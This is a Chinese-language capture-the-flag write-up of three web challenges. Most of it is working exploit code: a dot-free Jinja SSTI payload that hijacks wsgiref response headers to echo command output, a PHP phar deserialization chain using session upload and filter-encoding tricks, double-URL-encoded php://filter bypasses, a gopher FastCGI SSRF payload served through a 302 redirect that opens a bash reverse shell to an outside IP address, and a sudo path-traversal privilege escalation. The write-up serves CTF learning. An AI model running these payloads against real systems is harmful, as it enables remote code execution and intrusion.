这个国城杯的题目难度有那么亿点高,复现一下应该能学到不少东西

Ez_Gallery

首先是爆破验证码

我这里直接用captcha-killer+codereg.py
https://github.com/f0ng/captcha-killer-modified/tree/main

可以爆破出密码为123456。然后进入后可以发现一个文件读取

看源码

我们可以发现是一个无回显且flag没有读取权限的ssti,那这就很明显了其想让我们将执行命令的内容带出来或者盲注。
但因为其将数字和点都给过滤了,那么我们弹shell和dns外带的难度就很大了。

而且因为这道题目并比赛flask框架的而是pyramid加wsgiref的我们不好使用内存马。

而我在之前有看过一个师傅的flask宽假的响应头回显思路并自己进行了一次调试
python flask 新型回显的学习和进一步的深入

其原理像server头等固定的响应头其实都是硬编码在代码里的,我们可以通过将这些值污染为我们命令执行的结果从而进行回显

我先在本地简单调了一下这个宽假,我前面说了这些请求头是硬编码的,所有大概率是在程序刚开始运行时就写入的。

我直接将断点下到了sever启动的地方

可以发现其就是硬编码的
我们继续往下调,将这些赋值的过程调过去。

跳过后我们查看下面控制台的变量,会发现很多和响应有关的类和属性

像这个<class 'wsgiref.simple_server.ServerHandler'>下的http_version啊,server_software啊。

还有<class 'http.server.BaseHTTPRequestHandler'>下的responses啊,这个responses和之前我调flask的很像,我在flask上成功污染了500页面硬编码的内容。这个应该也可以做到。

。我们可以先自己在本地搞一个有回显的ssti。来先调一调

稍微修改一下shell路由

和之前调flask一样一步步的往下找我们要的wsgiref.simple_server.ServerHandler

就这样一步步的走就可以知道如何跳过sys获取http_version这个属性

其值也就是回显标头里的http版本
然后我们可以通过setattr来更改其值

1
{{lipsum['__globals__']['__builtins__']['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler,'http_version',"aaaa")}}

我们可以看见其回显的http标头已经杯篡改了。我们将后面窜改的值改为我们的命令执行的payload

1
{{lipsum['__globals__']['__builtins__']['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler,'http_version',lipsum.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}

那么接下来距离解决这到题目也只剩下了如何绕waf了
题目过滤了点好,我们知道当过滤了点好ssti我们是可以使用[]或者|attr()来绕过的,但是单纯的将其改为[]和|attr()我们是无法成功污染的(会报错)。我之前在调试flask是就有想尝试不使用点好来进行污染但是却失败了也就没有继续探讨下去了。

在前面获取setatter和进行命令执行的部分没有什么问题都可以通过中括号来绕过过滤,但是中间通过sys来获取httpversion的过程却不行

我们一个一个的进行替换看问题出在哪里,我们就要看到当我们将.__init__改为['__init__']就发现其发生了报错。这是因为我们将lipsum['__spec__']当成字典了。lipsum['__spec__']他返回的是一个对象,我们其并没有实现`_getitem
所以我们并不能直接使用[]`来对其进行获取。这时我们就要像到|attr()这个过滤器了,这个过滤器可以获取对象(模块,类)的属性,

我们使用|attr()可以发现器成功得到了一个method类。因为是class所以我们继续用|attr(),可以发现获取到__globals__时就是一个字典看,我们用中括号


但我们发现直接实验[]还是不行,这是因为lipsum['__spec__']|attr('__init__')|attr('__globals__')这个整体才是一个字典,所以我们需要实验括号将其括起来

剩下的其实就不断重复上面的不在,遇到字典就加括号实验[]遇到类就使用|attr(‘’)

就这样,最终的payload我们就能构造出来了如下

1
2
3

{{lipsum['__globals__']['__builtins__']['setattr'](((lipsum['__spec__']|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']|attr('simple_server')|attr('ServerHandler'),'http_version',lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']())}}




赛后看官方wp又能学到不少,像构造内存马,还有上面的payload其实可以更改一下让他只用[]也能进行bypass,还有使用getattr()来绕过点号(我去这个还真有点算盲点了),下面请听完娓娓道来。

Flask基础及模板注入漏洞(SSTI)

n0ob_un4er

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
$SECRET ="asasas";
include "waf.php";
class User {
public $role;
function __construct($role) {
$this->role = $role;
}
}
class Admin{
public $code;
function __construct($code) {
$this->code = $code;
}
function __destruct() {
echo "Admin can play everything!";
eval($this->code);
}
}
function game($filename) {
if (!empty($filename)) {
if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
echo "Well done!";
} else {
echo "Copy failed.";
}
} else {
echo "User can play copy game.";
}
}
function set_session(){
global $SECRET;
$data = serialize(new User("user"));
$hmac = hash_hmac("sha256", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
die("hacker!");
}
$data = unserialize($data);
if ( $data->role === "user" ){
game($_GET["filename"]);
}else if($data->role === "admin"){
return new Admin($_GET['code']);
}
return 0;
}
if (!isset($_COOKIE["session-data"])) {
set_session();
highlight_file(__FILE__);
}else{
highlight_file(__FILE__);
check_session();
}

我们简单看一下代码可以发现当cookie中没有session-data就会进入set_session,否则check。

set的 session-data的值是序列化后的User(“user”)和一个与$SECRET进行sha256加密的值$hmac用———-进行拼接

而check的就是检测前面的序列化的值和$SECRET的sha256加密和后面的$hmac一不一样。反序列前面的值,
因为我们不知道SECRET所以我们无法对前面的序列化进行篡改。
我们看到当我们为user时其回进入game这个函数

1
2
3
4
5
6
7
8
9
10
11
function game($filename) {
if (!empty($filename)) {
if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
echo "Well done!";
} else {
echo "Copy failed.";
}
} else {
echo "User can play copy game.";
}
}

而这个copy函数非常的扎眼。看到这种文件处理函数我们第一时间应该都会想到phar反序列化,而phar反序列化需要配合文件上传,虽然这里没有文件上传点,但是我们可以尝试使用session进度上传(我在session反序列化有写过)
session反序列化

但是其有一个问题,就是session进度上传是会存在冗余数据的,如下

可以发现我们进度上传的文件,除了我们想传的数据lllllllllll之外前面和后面都有冗余数据。
这里我们可以使用php,base64_decode的特性来进行过滤我这里就之间用之前打ctfshow元旦杯的脚本来消除了,这个脚本不用额外补位数比较方便

1
2
3
4
5
6
7
<?php
$c=base64_encode(file_get_contents("phar123.phar"));
$c=mb_convert_encoding($c,"utf-16le","utf-8");
$g=quoted_printable_encode($c);
echo $g."\n";
echo base64_decode(mb_convert_encoding(quoted_printable_decode("ctfshowshowshowwww".$g."aaaaaaaaaaaaaa"),"utf-8","utf-16le"));


上面的脚本是利用了字符的字符集类型转换,但字符集由utf-16le转为utf-8时会在每个字符后面加一个不可见字符,而当utf-8转为utf-16le时其会将不可见字符与前面一个字符当初一个整体进行编码。而当没有这个不可见字符时,将”utf-8”转为”utf-16le”,这些被转换的字符将全变为乱码,即非ascii字符即,非base64码表字符。

那么我们将我们的payload从utf-16le编码到utf-8。那么在之后我们在利用伪协议的过滤器,就可以转换编码,从而使用base64解码去除非码表字符

pahr_payload

这题的phar 文件还是狠好生成的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
$SECRET ="asasas";
include "waf.php";
class User {
public $role;
function __construct($role) {
$this->role = $role;
}
}
class Admin{
public $code;
function __construct($code) {
$this->code = $code;
}
function __destruct() {
echo "Admin can play everything!";
#eval($this->code);
}
}
function game($filename) {
if (!empty($filename)) {
if (waf($filename) && @copy($filename , "./tmp.tmp")) {
echo "Well done!";
} else {
echo "Copy failed.";
}
} else {
echo "User can play copy game.";
}
}
function set_session(){
global $SECRET;
$data = serialize(new User("user"));
$hmac = hash_hmac("sha256", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
die("hacker!");
}
$data = unserialize($data);
if ( $data->role === "user" ){
game($_GET["filename"]);
}else if($data->role === "admin"){
return new Admin($_GET['code']);
}
return 0;
}


$phar = new Phar("phar123.phar"); //生成一个phar文件,名字为phar.phar
$phar -> startBuffering(); //下面细讲
$phar -> setStub("<?php __HALT_COMPILER(); ?>"); //设置stub内容
$a=new Admin('system("/readflag");');
$phar -> setMetadata($a); //将创建的对象a写入到Metadata中
$phar -> addFromString("test.txt","testaaa"); //添加要进行压缩的文件,文件名为test,文件内容为testaaa
$phar -> stopBuffering();//

个人没有删类方法的习惯,所以比较长,注意最后命令执行方法的eval函数要注释不然影响文件生成

将生成的文件通过上面的脚本来base64编码,编码转换,因为有的文件除了函数无法处理空字符,所以再quoted_printable编码一下。

生成的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=
=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00=
Q=00p=00t=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=
=00A=00A=00A=00A=00A=00A=00A=003=00A=00A=00A=00A=00T=00z=00o=001=00O=00i=00=
J=00B=00Z=00G=001=00p=00b=00i=00I=006=00M=00T=00p=007=00c=00z=00o=000=00O=
=00i=00J=00j=00b=002=00R=00l=00I=00j=00t=00z=00O=00j=00I=00w=00O=00i=00J=00=
z=00e=00X=00N=000=00Z=00W=000=00o=00I=00i=009=00y=00Z=00W=00F=00k=00Z=00m=
=00x=00h=00Z=00y=00I=00p=00O=00y=00I=007=00f=00Q=00g=00A=00A=00A=00B=000=00=
Z=00X=00N=000=00L=00n=00R=004=00d=00A=00c=00A=00A=00A=00A=008=00t=001=00Z=
=00n=00B=00w=00A=00A=00A=00E=00S=00y=00G=004=00i=002=00A=00Q=00A=00A=00A=00=
A=00A=00A=00A=00H=00R=00l=00c=003=00R=00h=00Y=00W=00H=00M=00z=00l=00/=00C=
=00L=00v=00F=00A=00a=00n=00I=00P=00V=00G=00+=00M=00B=00j=00Z=00Y=004=00p=00=
t=00o=00e=00w=00I=00A=00A=00A=00B=00H=00Q=00k=001=00C=00

1
?filename=php://filter/convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/tmp/sess_LL

这里用进度上传,来上传session文件,然后再使用php://filter伪协议写入消除冗余数据的payload

最后就是利用写入的tmp.tmp触发phar反序列化

signal

简单扫一下目录我们可以发现备份文件泄露.这种业务vim强退导致的备份文件泄露我们可以使用vim -r file.swp来恢复

看到这个文件的是一个存有guest账号密码的信息泄露

登陆后会发现一个文件包含的漏洞。因为当包含php文件时其会直接执行这个文件,所以猜测后台为include。产生使用伪协议包含

可以发现其进行了过于,简单对参数进行测试可以发现是convert被过滤了。
这里我们可以使用双重url编码绕过。这是因为php伪协议中的过滤器即使是被url编码也是可以解析的,有兴趣的可以本地尝试

1
http://125.70.243.22:31545/guest.php?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=index.php


就这样通过php文件里提到的其他php文件名来一步步扒下源码

看源码确实是include但是因为其过滤了log我们无法进行日志文件包含

而且其register_argc_argv未开启使用我们无法使用pearcmd.php来进行文件包含
只要php://input和data://这种就更不用说了

我们再index.php可以发现这个php文件读取一下

会发现账号密码。

那么我们就可以登陆admin账号了

看源码也可以看出其是一个ssrf的洞

看到php其实我们可以像到使用ssrf打fastcgi
这里我们直接使用脚本来跑payload

然后我们看这个协议是gopher://协议的,但是其白名单要求为https协议的
我们可以建一个302跳转来进行bypass

1
2
3
<?php
header("Location: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/111.230.38.159/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
?>

弹了shell全局找一下flag

1
find / -name "flag*"

告诉我们要提权,那就写个马好操作

sudo -l 可以发现 /bin/cat /tmp/whereflag/*这条指令是可以无密码使用sudo权限的

可以用目录穿越来读取root下的flag

1
sudo cat /tmp/whereflag/../../root/flag